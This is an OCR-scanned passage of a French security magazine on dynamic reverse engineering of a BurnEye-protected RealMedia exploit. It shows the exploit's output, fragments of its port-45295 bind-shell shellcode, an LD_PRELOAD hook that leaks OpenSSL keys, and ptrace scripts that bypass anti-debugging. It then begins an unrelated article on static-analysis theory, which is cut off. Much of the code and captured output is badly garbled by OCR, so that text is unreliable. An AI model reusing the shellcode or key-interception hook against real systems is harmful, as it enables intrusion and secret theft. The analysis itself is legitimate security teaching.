demander au noyau. Le moyen prévu est encore et toujours
ptrace( ), grice aux fonctions PTRACE_FEEKUSR et PTRACE POKEUSR.

Sans outil

Il est possible de deviner le fonctionnement global de I'application
juste en observant les parameétres visibles du processus : mappage
memoire, fichiers et ports ouverts, traces réseau...

Juste regarder

§ . /dmntreal

RealServ v1.0 against Linux/Inte] RealMedia server <= O.x
i :

mpiited for

[-] ./dmntreal -H host -t num
[-] -h host - - address
[-] -t type get 1ist

Il semble donc qu'il s’agisse d'un exploit réseau contre RealMedia.
Si on effectue une capture réseau de I'exploit contre 127.0.0.1, 0n
obtient :

# tepdums -pnli any

tepdumg

Si on ouvre le port 554 sur la machine pour voir ce qui arrive, nous

obtenons :
#nc -1p 554
()
RETAE%I1
I%c

1531%cBEI1RabBSIREARABAEE4ER

T ARE T AGHE T H 1
BRA1%dbEI1RcaRE1R01E

O O D O Y 71
0695 13D 130145140 180745 12803 1353501 Lh0L664caSRIL
P

T T L Lt e L LRty T P e
]

On voit donc tout de suite la teneur de I'attaque. On observe
également une connexion supplémentaire sur le port 45295 :
spica:~$ sudo tepdume -pnli any

tepdump: 11stening on any

7.8.9.1.33118 > 127.0.0.1.554: § 2078344519 207834451611

faagaaps AL ¥OT edx, pax
og0aang7 )8 xor ebx,ebx
(oaaRRaY 3109 K0r ecH eck
0aaa0aeR push ecx

fppaanac i may ¢, 06
fodaaageE 51 push ecx

Feeagaar mov cl,Bxl
pogadall 5 plsh ecx

Badgaals Blg: mov cl,@x?
poaRagls 51 push ecx

ARRGEG1S R9ED Moy ecx,esp
Jaanealy may b, Bxl
BRAREE1S  BAAS mav a1, Buke

i+ socketcall sacket() *

ppageels C int dx88
Vous pouvez le récupérer a I'adresse donnée en introduction.|l s’agit
d'un shellcode qui écoute sur le port 45295 et qui, lors d'une
connexion sur ce port, « forke » un shell. On a donc affaire a une
backdoor. Une rapide recherche sur Internet permet de voir que
ce shellcode n'a pas éte créé uniquement pour cet exploit puisqu’on
peut le retrouver ailleurs. Le numéro du port est de plus cohérent
avec ce que I'on a observe sur la trace réseau.

Si cette fois, nous ouvrons en plus le port 45295, nous obtenons :
§nco-1p 45295
id;uname -a;u

Et, du cdté de I'exploit, nous avons l'autre cété de la connexion TCP
§ ./dmatreg] -h 127.4.8.1 -t 1

RealSer v1.B against Linue/Intel RealMedia server < 4.8

Compiled for D3mdntd by jmjke.

] starting connection

*7 attacking HelinServer 9.0 (9.8.2.794) 1inux-2.2-11bck-1586-server
*] making evil s

1 sending s

*] now attempt to 127.0.0.1

*] d:-[ Have you got @ shell.

*

L'utilisation de la pseudo-interface any dans tcpdump permet d’écouter
sur toutes les interfaces de la machine en méme temps. Nous
pouvons ainsi étre siir de ne pas manquer un éventuel trafic lié a
une activité malsaine du programme inconnu (backdoor qui se
connecte sur IRC, envoi de mail, etc.).

Surcharge de bibliotheques

La technique de surcharge de bibliothéques consiste a demander
au loader dynamique de pré-charger une bibliotheque dynamique
de notre conception, dont les fonctions vont surcharger les fonctions
des bibliotheques systeme utilisees par le programme. Nos fonctions
se retrouvent donc en position d’homme du milieu et peuvent
modifier le comportement des fonctions originales.

Imaginons un programme qui utilise la bibliothéque partagée
OpenSSL pour chiffrer les données qu'il stocke dans des fichiers.
La clé de chiffrement se trouve quelque part dans le programme,
sans doute bien protégée par des mesures anti-reverse engineering,
et autres couches d'obscurcissement. Or, il est un moment ou la
clef sera intelligible : lors des appels aux fonctions de chiffrement
ou de déchiffrement de la bibliotheque cryptographique. Nous




utilisons le programme d’exemple figurant dans la page de man d'evp
{man EVP_CipherInit):
#include <openssi/evp.h>

int do_crypt{FILE *in, FILE *out, int do_encrypt)
{

Lovid

unsigned char key[] = “BAARAARAAAARRAARARANE";
unsigned char fy[] = “CRRBBBBC";
EVP_CipherInit_sx(hctx, NULL, NULL, key, i¥, do_sncrypty;

[]

int mainfint argc, char *aravll)

do_crypt{stdin, sidout, argc >'1};
Nous imaginons que la clef et le vecteur d'initialisation sont bien
cachés et que le binaire est correctement protége. Notez cependant
que clef et [V ont été choisis alphanumériques par commodite,

mais ils font bien respectivement |68 et 64 bits.

On peut les retrouver sans avoir a desassembler ou tracer le
programme, juste en interceptant |'appel a EVP_Cipherlpdate(). Notre
fonction d'interception écrira les clefs et les vecteurs d'initialisation
fournis en toute confiance a OpenSSL sur le descripteur de fichier
3,qu'il faudra ne pas oublier de détourner pour récuperer ces valeurs.
#include <openssl/evp.h>

#inciude <dlfen. >

int (*CipherInit)tEVP_CIPHER_CTX *cix,const EVP_CIPHER *cipher, ENGINE *impl,
const unsigned char *key,const unsigned char *iv, Encl;
fnt EVE_CipherInit ex(EVP CIPHER CTX *ctx,const EVP CIPHER *cipher, ENGINE *impl,
const unsigned char *key,const unsigned ¢har *iv, int enc)

if (keyl {
writel(d, “key=[®,0);
write(d, key, ctx->key len):
write(d; “\n"20;

1
if (iv) {

write(d, *iv=[®, 4,
write(d, iv, cta-zcipher->iv_len);
writeld, “I\n".2);

.I

return (*CipherInit}ctx, cipher, impl, key, iv, enci;

e

it

CipherInit = dlsym(RTLO_NEXT, “EVP Cipherinit_ax”);
I
Nous allons donc demander a notre exemple de chiffrer /dev/null
pour récuperer les clefs.
$gcc -0 evpsample evpsample.c -1ss)
§ gee -0 GNU_SOURCE -shared -FRIC -nostartfiles -o EVPmitm, so EVPmitm.c -1d)
§ LD_PRELOAD=./EVPmitm.s0 ,/evpsample 3>k2 < /dev/null
key=[BRARAARAAALARARARAALG]
j¥=[CBABERRL]

Outils systemes et développement

strace/ltrace/truss/kirace

Tous ces outils servent a rendre compte des appels systémes ou
des appels aux bibliothéques faits par un programme donné. La
methode utilisée différe : strace et 1trace utilisent I'appel systeme
ptrace() qui permet de contrdler I'exécution d’un processus donne ;

ktrace utilise un mécanisme inclus dans le noyau BSD ; truss se sert
de procfs pour son contréle. Tous ces outils ne sont pas presents
sur tous les Unix, mais tout Unix dispose d'au moins un de ces outils,

Leur utilisation va permettre d'analyser rapidement le
fonctionnement interne d'un programme. Dans le cas de notre
exploit, nous avons rapidement pu cerner son activité principale.
Cependant, nous ne pouvons étre slir qu'aucune activité cachée n'a
eu lieu :installation d'une backdoor, vandalisme, etc.

La méthode de fonctionnement de strace est treés simple : le
programme utilise la fonction PTRACE_SYSCALL de ptrace() qui laisse
tourner le processus « ptracé » jusqu'au prochain appel systeme,
puis jusqu'a la fin de celui-ci. Au premier arrét, on peut recuperer
le numéro de |'appel systeme dans une sauvegarde du registre EAX
nommeée ORIG_EAX ainsi que les paramétres dans les autres registres
(EBX, ECY, etc.). Au deuxiéme arrét, nous pouvons obtenir le code
de retour de I'appel systéme dans EAX. Il est donc aisé d'ecrire son
propre strace rudimentaire en quelques lignes de python, que vous
trouverez sur [miscprog].

Le débogueur gdb

La fonction premiere de gdb est le debogage. Cela signifie qu'il a
eté congu pour fonctionner de maniére optimale avec des
programmes compilés avec des informations de debogage. ||
fonctionne bien sir trés bien avec des programmes strippés, rien
n'a été fait pour traiter les binaires protéges.

Les outils de débogage ne sont en géneral pas préparés a ce genre
de contre-attague : ils ont été développes dans le but de déboguer
des programmes de bonne volonté. Nous allons cette fois travailler
sur la méme backdoor, mais nous allons cette fois commencer par
la protéger a l'aide de BurnEye :

§ strace ./dantreal
execye(", fdmntreal”™, [*,/dmetreai®], [/ =1
signal (SIGTRAP, Bx5371alc)

s found!...(gdb) ¢
lspare frefdnnireal

warning: shared library handler failed to énable breakpaint

nEE T =

Program receivad signal SIGIRA®, Trace/breakpoint trap.

Bx53714c7

gdb ne s'en sort pas mieux !
q . fdmitreal (no debugging symbols found), ..

+ shared 1 ¥ handl

On voit donc un signal de débogage declenche alors que nous
n'avons place aucun point d'arrét. C'est la premiere technigue anti-
reverse a passer : un appel a l'interruption 3 est placé dans des
endroits stratégiques du programme. Ce genre d'appels est
normalement placé par le débogueur a chaque point d'arrét, et c'est
lui qui recoit le signal. Lorsque le programme protége s'execute
normalement, le point d'arrét declenche le signal, attrape par un
gestionnaire qui effectue certaines opérations qui influeront sur la
suite du programme. Dans le cas ou le programme est debogue, le
signal SIGTRAP est attrapé par le débogueur, qui ne sait pas quoi faire
de ce signal, puisqu'il ne correspond a aucun point d'arrét connu.
Dans le pire des cas, le débogueur plante, et dans le meilleur, le
gestionnaire de signal n'est pas appelé :
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tgdb) r

Starting program: /spare/tmp/re/dantreal

warning: shared Tibrary handler failed to enable breakpoint
Program received signal SIGTRAP, Trace/breakpoint trap
Br@53714cT in 17 ()

tgdb) ¢

Continuing.

Program received signal SIGSEGY, Segmentation fault.
fxBOBOEAED in 27 ()

Une methode fastidieuse consiste a le rappeler i la main, Une
méthode ingénieuse consiste a préciser a gdb de le faire.
{gdb) handle SIGTRAP pass

SIGTRAP s used by the debugger

Are you sure you want to change it? (y orm) y

Signal Stop Print  Pass to program Description

SIGTRAP Yes Yes Yes Trace/breakpoint trap
(gdb) r

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /sparel/tmp/re/dmntreal

warning: shared Tibrary handler failed to enable breakpoint

Program received signal SIGTRAP, Trace/breakpoint trap.
fxB53714c7 in 27 ()

(pdb) ¢

Continuing.

RealSery v1.8 against Linux/Inte] RealMedia server <= 9.x
Compliled for Dimdnte by jmkr.

[-1 fspared/tmp/re/dmntreal -h host -t num

[-1 -h host - victims address

[-1-1 type - B for target Tist

Program exited with code 1.

Outils de reverse

Pour faire du reverse engineering contre ce type de programmes,
quelques outils peu connus existent dans le monde Unix.

Fenris/Aegir

Fenris est un outil aux dons trés variés. On peut tout d'abord
I'utiliser en remplacement avantageux de strace ou Ttrace :il est
en effet plus robuste, plus précis, et dispose de la capacité de
reconnaitre des fonctions a partir de leur empreinte, lorsqu'on a
affaire @ un binaire statique strippé.

§ fenris /bin/true

++ Execating '/bin/true’ (pid 11447, dynamic) +++

11447 : 08 <6849ale> cndt: if-helow block (signed) +28 executed

1144788 [L] Tocal fnet 1 (D)

1144700 + fact 1 = BxBE4Ba5

1144781 U A:1ib_8B46758 (6)

1144781 .. .return from 1ibc = 5/41131921

1144781 + 41131921 = map 41019008: 1254244 <off 1149217> (opened in §
main:write, mapped in $ main:readdir)

LI447:81 U A:11b 8046750 (g/8849cef “coreutils™)

1144781 % new buffer candidate: 8849cef:1@

11447:82  [L1 SYS brk (BxB) = 134525996

1144782 [L] SYS brk (BxB@Gcdlc) = 134661164

1144781 ... return from 1ibc = s/41131969 “/usr/share/locale”

11447:81  + 41131969 = map 41019800: 1254244 <off 1149289 (opened in §

main:write, mapped in S main;readdir)

Certe sortie peut étre récupérée par le programme Ragnarok qui
va croiser les données et genérer une page HTML présentant le

déroulement du programme sous 5 angles différents tels que
I'historique des buffers ou des descripteurs de fichier.

— fenris [STD] 0.07-m —5>
Excuting '/bin/true’ (pid 11476, dynamic) ++

On peut également utiliser I'un des frontaux de Fenris, aegir ou sa
version ncurses, nc-aggir, pour obtenir un débogueur interactif a
la gdb, avec un look SoftlCE pour la version ncurses : voir figure |.

Certaines fonctions bien sympathiques pour le reverse engineering,
comme la détection du nombre de paramétres d'une fonction ou
sa valeur de retour, en font un outil agréable a utiliser.

Fenris permet de sauter le prologue de la 1ibc automatiquement.
Mais quand il n'y en a pas, et que de plus le segment de départ n'est
pas celui habituel, il est un peu perdu. Cependant, il est capable de
s'en rendre compte :

i s s Rt R L T e T

* Hmm, call me suspicious, T tried to skip 1ibc prolog for *

* this application, but 1t seems to me | skipped way teg *

* much, Maybe this program is too smart for me? Maybe it *

* was compiled in some exotic place? Consider using -5 i

* option for now, and contact my author! *

B T L S e e S L R L L s

Nous utilisons alors le paramétre -s pour ne pas tenter de sauter
un éventuel prologue, -X 8x85 pour lui signaler que le principal se
situe du cote de l'adresse @x@5000008, et non AxA8AGAF0E comme
c'est le cas d'habitude. Enfin, 'option -C demandera de ne pas rendre
compte des sauts pour accelerer un peu le tracage.

§ fenris -C -5 -X @x85 -N /tmp/aegir-sock . /dmntres

Dans une autre fenétre :

¥ aeqir /tmp/aegir-sock

[+] Connecting to Fenris at /tmp/segir-sock,

[+] Trying to send “helle™ message...

[*] Response ok, connection establTished,

E2A

Executable: ./dmntresl

Arguments

1153380 \ new map: A00DB80E:B1%2 (/11b/7d-1inux.50.2)
853 push  ds:Bx5371008

[ﬂegir} run

Resuming at @x5371835...
++ Process 11533 killed by signal 11 ++

Il semblerait que BurnEye ait eu raison de Fenris, et pourtant, dans
la fenétre de Fenris, on peut lire :

FEktdkkrkdidihkbhkbkkrrar bbb bkt bk h kb kb dk kb krrrrrretd
* WARNING: I detected & debugger trap planted in the code at *
¥ address BxBS3714c6, This int3 call is *connected” to a L
* SIGTRAP handler at #xB5371afc. Please use degir or nc-aegir *

* carefully remove this trap, see the documentation. %
FREFREE Rtk b bR e d b hd kb rky kh ke EERREAR KT TR TR hdhh*ES




deneb:~% aeqir /tmp/aegir-sock

[+] Connecting to Fenris at /tmp/acair-sock...

[+] Trying to send *nello” message...

[*] Response ok, connection established,

g

[aegir] disass BxBh3714cE

§93714ch: cop  eax,dword ptr [edi-2013859554]

Nous n'avons pas d'int3 a cette adresse. Sans doute le code est-il
chiffré pour l'instant. Nous ne pouvons pas y placer un point darrét
logiciel car cette partie de code va changer, mais un point d'arrét
matériel fera |"affaire.

[aegir] break Bx@53714c6

Breakpoint #0 added.

[aegir] run

Resuming at Bx5371835. ..

11667:81  SY5 signal (5, Mx5371adc) = @

11697:81 + signal & = Trace/breakpoint trap

11697:81 + Bx5371adc = fact T

Hrrrprriptitin bbb Rk Rk bk h AR AR R R Rk bk kAR kR e R

* WARNING: 1 detected a debugger trap planted in the code 3t *

* address BxB53714ch, This intd call is “connected” toa  *

* SIGTRAP handler at Bx@5371a@c. Please use Aegir or nc-gegir *

* carefully remove this trap, see the documentation. *

FrErkEriEEE Rt Eeh RN RN R T R sk bk Ak Rk T e kAR E okt

int &8 stop at Bx53714¢6 [fnct_d+86].

14ch [fnct 4+B6]: intd

Nous avons cette fois I'int3 a I'adresse prévue. Le déchiffrement
est donc, au moins partiellement, fait. Nous commengons par écraser
l'instruction par un nep :

faeair] setmem Bx@53714ch Bx90

Memory at address Bx53714cH modified,

[aegir] disass BxB53714co

§83714ch [fnct 4+H6]:  nop

Puis nous désassemblons le gestionnaire du signal, a I'adresse indiquee
par Fenris :

[aegir] disass BxBai71afdc 18

#5371ade [fnct_73: push  ebp

§5371a8d [fnct_7+1]: moy  ebp,esp

§5371a0fF [fnct 7431 dinc  ds:Bx5375748

#5371215 [fnct 746]:  Teave

1537136 [fnct_T+181; ret

Nous voyons donc qu'il suffit d'incrémenter la valeur du mot a
l'adresse 8x5375748 pour imiter le comportement du gestionnaire :
[aegir] x Bx5375748 4

85375748: 00 00 98 68

[aegir] setmem Bx5375748 1

Memory at address @x5375748 modified.

[aegir] x 9x5275748 4

f5375746: 01 A 88 82

[aegir] run

Resuming at @x53714¢6. ..

++ Process 11697 exited with code 127 in syscall lTookup_dcookie (252) +4+

Cette fois, nous avons pu tracer le processus jusqu'au bout en
dejouant la protection de BurnEye. Elle est certes trés rudimentaire,

mais il faut bien commencer par quelque chose, et vous avez tout
loisir de passer a des binaires un peu plus coriaces.

Se programmer un traceur

Si nous etudions le fonctionnement d'un programme protégé par
BurnEye, nous pouvons voir que son exécution commence par le
dechiffrement du programme en mémoire, puis d'un saut vers le
point d'entrée original de ce dernier. On peut imaginer tracer le
programme de maniére automatique, en tentant de déjouer les
pieges de |a protection, puis repérer le saut vers le programme

protégé pour stopper le tragage et écrire le programme dechiffre
sur le disque, pour disposer d'une version déprotégée de ce dernier.
Bien sir, cela n'est pas toujours aussi simple. Les protections
changent souvent une partie du programme pour qu'il ne puisse
exister sans la protection. Nous pouvons cependant essayer.

Ces quelques lignes de Python vont tracer pas a pas un programme
jusqu'a ce que le pointeur d'instruction EIP atteigne une valeur
entre 0x8040000 et BxB050008. A ce point, le binaire se trouve
totalement déchiffré juste derriére le moteur BurnEye. Il est en
partie « remappé » a son adresse normale d'execution. Il suffit de
sonder la mémoire 2 partir d'un point situé aux alentours de la fin
du moteur BurnEye jusqu'a retrouver le nombre magique des fichiers
ELF et de sauvegarder la mémoire a partir de ce point jusqu'a la fin
du fichier, dont on aura pris soin de calculer la taille.

On peut noter, en rouge dans le code suivant, la partie de code qui
se charge de contourner la protection anti-débogage de BurnEye.
Lorsque l'instruction rencontrée est un int3 (opcode BxCC), E1F est
avance d'une instruction, comme |'aurait fait le processeur si le
mode pas a pas n'était pas activé, et un signal SIGTRAP est envoye
au processus via ptrace.

#! fusribin/eny python

import ptrace,os,sys,struct

fname = “/imp/dump”™
target = [BxB040000, 0xBASEREE]
start = §xB5375940 # Adresse proche de la fin du moteur burpeye

fopentsys.argy[1]) # Détermination de 1& taille du binaire protegé
f,seeki{l, 2}

size = f.6e17()

f.closal )

USER_ETP = 12%4
SIGTRAP = 5

pid = os.forki)

ifpid=40;
ptrace.tracemel)
os.axecyplsys.argv[1], sys.argv[1:])

o5, waitpidipid,§)

signai=d

while 1:
ptrace.singlestep(pid, signal)
signal = @

05.waitpid(pid,8)
#ip = ptrace.peskuser(pid,Us

isn = ptrace,peekdatalpid, eip)
if isn- & Bxff = e

orint “Fake bre

ptrace.pokeuser{pid,UsE

signal=SIGTRAR

if eip > target{f] and eip < targetfll:
print “here we are! EIP=%#08x" ¥ eip
break

orint “Probing memory from &#@8x" % start

whilte 1:

try:
GHFDUECE.DEE‘kﬂﬂtﬁ[?iG.StE!‘t H
if data = BudbdcdsTfl: & ELF magic

preak

except:
pass

start += 1

print “Dumping memory from $288x to file [8s]" & (start, fname)

\&/
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f=open(fnams, "w")
for i in range((si
try:
data=pt
prcept:
break

v up

print “Dump finished &t address %#B8x" & start

ptrace ki

Ce code est orienté BurnEye, mais le principe reste valable pour
d'autres programmes. |l serait egalement possible d'ajouter des
contournements pour cacher le fait que le programme est tracé
pas a pas en repérant les instructions d'accés au registre EFlags et
en effagant la trace du drapeau TrapFlag. Par exemple, on pourrait
trés bien, apres un pushf, mettre a 0 le bit 8 du mot pointé par ESP.
Nous commengons ainsi le jeu du chat et de la souris.

Nous pouvons faire une variante de ce traceur en utilisant les
registres de débogage. Nous pouvons ainsi obtenir un traceur
infiniment plus rapide, mais nous ne pourrons pas fournir une
fourchette de valeurs d'EIP comme condition d'arrét. Il faudra
tomber juste.

Tout d'abord, nous initialisons les registres, et en particulier 0RD
avec |'adresse du point d'arrét (voir le chapitre 12 de [i386] pour
plus de détails).

USER_DRD = 634

{pid, USER_DRG, BxBA43858)
er(pid, USER_DRG, B)

ptrace.
signal=g
05 waitpidipid, )

gip = ptrace.peekuser(pid,USER_EIP
dr6 = ptrace.peekuseripid, USER_DRG
isn = ptrace.peekdatalpid,efp-1)
f(isn & Bxff] == Bxec

print *Fake breakpoint detected!”
signal = SIGTRAP
if dr6 & Bal;

break
Le processus n'est interrompu que lorsque le point d'arrét est
rencontré ou qu'un signal est intercepté. Nous remarquons que
nous n'avons plus besoin d'incrémenter EIP dans le cas ou nous
nous trouvons sur un faux point d’arrét. Cette fois, la condition
d'arrét de la boucle est arrivée a I'adresse du point d'arrét. Cette
condition peut étre verifiée dans le registre de status [R6.

L'écriture du processus sur le disque se fait de la méme maniére
que le programme précédent.

Kernel debuggers

Pour pallier toutes les limitations de ptrace( ), I'alternative existe :
il suffit de travailler dans le noyau.Deux projets trés prometteurs
permettent de faire cela, mais leur état d'entretien fait que nous
n'avons pas réussi a les faire fonctionner. Il s'agit de PrivatelCE [pice]

et de The Dude [the-dude]. strace a également son pendant. Il s'agit
de syscalltrack [set].

On peut egalement classer dans cette catégorie des programmes
comme BurnDump [burndump]. Ce dernier est un module noyau
(LKM) qui va détecter I'exécution de binaires protégés par BurnEye
et va ecrire la version originale du programme protégé sur le disque.
En travaillant dans le noyau, il n'a pas a se soucier des protections
anti-debogueur.

Les pieéges anti-reverse

Voici quelques-unes des protections anti-reverse engineering que
I'on peut rencontrer et qu'il faut s'attendre & devoir contourner.Afin
de ralentir I'analyse dynamique, certains programmes tentent de
détecter le fait qu'ils sont analysés afin de changer leur
comportement le cas echéant. Un programme peut facilement
s'apercevoir qu'il est « ptrace() » parce qu'il ne pourra pas se
« ptracer() » lui-méme.

Un programme ne pourra pas s'apercevoir qu'il est « ktracé() ».
Cependant, sous BSD, il est possible d'accéder a la structure
decrivant le processus. Dans cette structure figurent les flags d'état
du processus, dont celui signalant qu'il est « keracé() ».

Il est facile de détecter une machine virtuelle et certains programmes
bizarres pourraient décider sciemment de fonctionner differemment
dans ce cas.

Lutilisation intensive d'un gestionnaire de signal pour SIGTRAP avec
I'utilisation de int3 ou du Trapflag peut perturber énormément
I'analyse. On peut parfaitement imaginer un programme activant le
TrapFlag afin de se tracer pas a pas, et dont le gestionnaire décoderait
l'instruction suivante et recoderait l'instruction précédente.

Les registres de débogage sont plus difficiles d'accés. Mais on peut
egalement imaginer un processus qui « forke », chacun des deux
clones « ptracant » I'autre de temps en temps pour vérifier que ce
dernier ne soit pas debogue. Si c’est le cas, il le tue et se suicide.

Conclusion

La question que vous pouvez vous poser en lisant ces
dernieres lignes est de savoir quelle technique d'analyse est
la plus efficace. Nous avons choisi de séparer analyse statique
et dynamique, et pourtant nous n'y sommes pas totalement
parvenus tellement ces deux méthodes sont
complementaires. Une bonne analyse passe par |'utilisation
de ces deux familles de méthodes. Quant a savoir
précisément laquelle choisir, nous serions tentés de vous
répondre que ¢a dépend du binaire a analyser et du
contexte. Trouver la bonne méthode du premier coup
demande de |'expérience, et utiliser la mauvaise methode
n'est pas forcément du temps perdu.

I
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Reverse engineering
et la théorie ?

Julien Vanegue
<may@epita.fr>

Le reverse engineering et l'audit de code sont
généralement assimilés a des disciplines “bidouille™ et
sans réel fondement théorique. En effet, les principales
applications de ce domaine sont a trouver dans I'étude
de la protection des logiciels, I'analyse des virus, ou celle
des programmes sensibles, rudes tiches souvent laissées
aux consultants en sécurité informatique dans l'industrie.
Bien que n'étant pas spécialiste du domaine, je vais
tenter de mettre en lumiére l'intérét de I'étude de la
complexité pour I'analyse statique. Elle s'applique
notamment dans la vérification des applications
embarquées dans les avions, navettes, pour lesquelles
la moindre erreur s'avére fatale. Il existe des outils pour
appréhender les besoins de vérification de typage, de
dépassement de capacité des variables, et des erreurs
d'accés a la mémoire.

Depuis les années 1930, nous disposons de modeles
permettant de calculer la complexité de résolution des
problémes. Depuis Kurt Godel et ses théoremes de complétude
et d'incomplétude, et les travaux d'Alan Turing, nous savons que
tout programme peut se représenter sous forme d'un
ensemble d'états et de transitions entre ces états, aussi appelé
machine de Turing. Cette machine abstraite est représentée
par une bande sur laquelle sont inscrites les instructions a
exécuter, ainsi qu'un pointeur d'instruction designant la
prochaine opération. A noter que ces machines sont bien
souvent confondues avec les machines & états finis (Finite State
Machines, ou FSM), ces derniéres utilisant une mémoire finie
comme le nom l'indique, alors que la machine de Turing utilise
une mémoire infinie. En se réduisant a ces modéles, on simplifie
considérablement I'étude de la complexité puisque les
opeérations sur la machine ont une complexité bien étudiée,
et que la machine de Turing peut representer tout programme
exécutable sur un ordinateur. En ce qui nous concerne, nous
omettrons |'étude de ces modeéles, mais le cours d'informatique
fondamentale donné en référence constitue une bonne
introduction a ce theme.

Vous dites complexité ?

L'analyse statique des programmes, c'est-a-dire |'étude de leur
comportement sans avoir recours a l'exécution, est une discipline
scientifique enseignée dans les écoles doctorales. Elle se fonde sur
des modeles dont le but est d'approximer la complexite des
méthodes de vérification, et de la réduire. La complexité, c'est
I'analyse du "temps" d'exécution d'un algorithme selon le nambre de

ses entrées. En effet, un algorithme a forte complexite ne signifie pas
que son temps d'exécution est toujours long, mais que le temps
d'exécution croit fortement selon que le nombre d'entrées
augmente. On parlera ainsi de complexité lineaire si le temps
d'exécution de |'algorithme est linéaire (au sens mathematique) par
rapport au nombre d'entrées. Par exemple, un algorithme simple
d'incrémentation d'entiers dans une liste se fera en temps lineaire,
puisqu'il nous fera n opérations pour parcourir la liste, et n
opérations pour incrémenter I'ensemble des élements, ce qui nous
donne au final une complexitée de 2n. Une petite representation
graphique de cette relation sur un plan en 2 dimensions en rend
compte de maniere évidente.

Comprenons bien la portée d'une telle notion. Il existe des
algorithmes "naifs" qui permettraient I'éventuelle vérification des
programmes si nous disposions d'une machine ultra rapide a
mémoire infinie. Nous pourrions envisager de vérifier un programme
en dupliquant |'état de la mémoire a chaque instruction, et tester
toutes les possibilités pour les variables en cours d'utilisation. Ainsi,
le programme rentrerait dans tous les états possibles et nous
détecterions d'éventuelles erreurs a I'exécution. |l va sans dire que
cet algorithme a une complexité exponentielle, alors méme que le
probleme qu'il essaye de résoudre est indécidable, a savoir qu'il
n'existe pas d'algorithme d'analyse qui est assuré de terminer avec
le bon résultat pour n'importe quel programme en entree. Le lecteur
intéressé pourra trouver sur le réseau l'exemple du probléme de
l'arrét de Ja machine de Turing qui illustre ce concept d'indécidabilite.

Pour éluder le probléme d'indécidabilité, il existe des techniques
pour réduire la complexité des algorithmes de model checking
(vérification par exploration exhaustive des états du programme),
comme l'interprétation abstraite de Patrick Cousot, publiee a la fin
des annees 1970. Elle consiste @ modéliser un programme en
omettant les informations dont on peut se passer. On parle
d'interprétation abstraite si on effectue au moins les quatre
abstractions suivantes :

® abstraction par €tats : on résume un programme a un ensemble

d'etats ;

= abstraction par traces : une suite d'états formant les chemins

potentiels du programme, souvent représentés sous forme de

chemins de graphes ;

= approximation non relationelle : on ne s'occupe pas des

interactions entre les variables mais on manipule des ensembles

de valeurs successifs pour chaque variable ;

® abstraction par intervales : on travaille sur des intervales de

valeurs plutdt que sur les valeurs elles-mémes.

Un peu de théorie des langages

La contribution la plus fondamentale dans le domaine de I'analyse
des langages de programmation (et donc des programmes qu'ils
décrivent) est sans doute celle d'Alonzo Church avec le Lambda
Calcul. Ce micro-langage (on dit calcul) fut d'abord invente pour
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donner des equivalents syntaxiques unifiés aux énoncés
mathematiques, et identifier une méthode unique de résolution. La
théorie du lambda calcul est tres utilisée dans les langages modernes
comme ML (Meta Langage, comme OCaml et Standard ML - $ML)
et Haskell. Tout comme les machines de Turing simplifient I'étude
de la complexité des algorithmes d'analyse, le lambda calcul simplifie
I'etude des programmes soumis a I'analyse en leur donnant une
forme simple pour laquelle il existe des algorithmes d'analyse intuitifs.
Dans ce calcul, toutes les fonctions prennent un seul argument et
les programmes s'apparentent a des séquences de termes. La thécrie
de Church stipule que le lambda calcul est pur (les termes ne sont
pas typés), mais c'est surtout sa variante typée qui est utilisée pour
analyser les programmes informatiques, puisque les variables des
programmes sont typées dans la majorité des langages.Voir le cours
donne en reférence pour une étude approfondie du lambda calcul
et de ses variantes.

Une technique appelée curryfication permet de transformer du code
en langage fonctionnel dans un langage monadique (dont les fonctions
ne prennent gu'un argument) comme le lambda calcul. Du nom de
son concepteur Haskell Curry, elle permet de passer d'une fonction
a N parameétres retournant une valeur a une suite de fonctions
prenant chacune un seul et unique parametre : (A,B) -> C devient
A -> (B -> C), a savoir que |'on passe d'une fonction prenant un
couple de valeurs en paramétre et retournant une valeur, 2 une
fonction prenant une valeur en paramétre, et retournant une
fonction dans laquelle on a"“inliné” (substitué) la valeur de x, cette
derniére fonction prenant donc une valeur en paramétre et
retournant une valeur.

lllustrons cela par un exemple :
= fix,y) = x * y est sous forme "decurryfiée".
= f{x) = (func (y) = x * y) est sous forme "curryfiée" (on
remarque l'apparition d"une fonction intermédiaire dans laquelle
on a "inliné" x)

Comment interpréter cette transformation ? Elle devient tout de
suite cohérente lorsque 'on reflechit en termes de X calcul, puisque
ce dernier peut étre interprété (et par extension, prouve sans
erreur) par une machine abstraite simple ne disposant que de peu
d'instructions. On distinguera notamment la machine de Krivine, du
nom de son inventeur (le logicien frangais Jean-Louis Krivine). Ce
modeéle est une machine abstraite a pile dont les instructions sont
des termes de lambda caleul (plus exactement un de ses dérivés),
et qui connait un grand succes dans la recherche. |l existe de
nombreux types de machines abstraites (AM) dont on ne fera pas
de liste exhaustive. Les chercheurs en ont bien compris l'intérét et
on voit naitre de plus en plus de modéeles dérivés des AM standards.
On commence alors 2 comprendre tout l'intérét des modéles de
calculabilité : proposer un cadre de travail riche par son expressivite
et sa modularité, pour rendre l'analyse plus efficace et performante.

Langages fonctionnels

Les langages fonctionnels sont des langages orientés sur la preuve

a la compilation, et se distinguent par 3 propriétés fondamentales :
* la possibilite de manipuler les fonctions comme des primitives
typées du langage, aussi appelée higher-order functions (Scheme ...) ;
® la restriction au fait que le résultat d'une fonction depend
uniqguement d'un nombre fixé de parameétres d'entrées
(OCaml .) ;

= La lazy-evaluation, qui consiste & évaluer une expression passée
en parametre au moment ot elle est utilisée {Haskell...).

Les langages qui ne satisfont que la premiére propriété sont dits a
syntaxe fonctionnelle, aussi appeleés langages applicatifs ou langages
fonctionnels impurs. Cette particularite illustre la volonté d'orienter
le langage sur le typage de ses composantes (aussi bien les données
que le code). Ces constructions permettent au compilateur
d'effectuer un nombre important de tests semantiques sur le
programme, notamment par l'analyse statique des types. La deuxieme
propriéteé caractérise les langages fonctionnels purs, c'est-a-dire sans
effet de bord, ce qui permet leur transformation en X calcul. Qu'est-
ce qu'un effet de bord ? C'est le fait qu'une méme expression puisse
renvoyer une valeur de retour differente malgré des parametres
identiques, ce qui contredit les principes de logique combinatoire
- dans lesquels la programmation fonctionnelle prend ses racines -
a savoir que le résultat d'une expression dépend uniquement de
ses parametres d'entrée. Un exemple d'effet de bord dans les
langages courants ! L'évaluation d'une variable (ici a) :

if (a++) then (D) else (if (a+) then (c)

58 (d))

Mettons que a soit initialisé a 0, 'expression (a++) retourne FAUX
a la premiere evaluation, et VRAI i la seconde, car l'incrémentation
constitue un effet de bord dans I'expression (a++). En pratique,
nous voulons éviter 'introduction d'effets de bord car ils nous
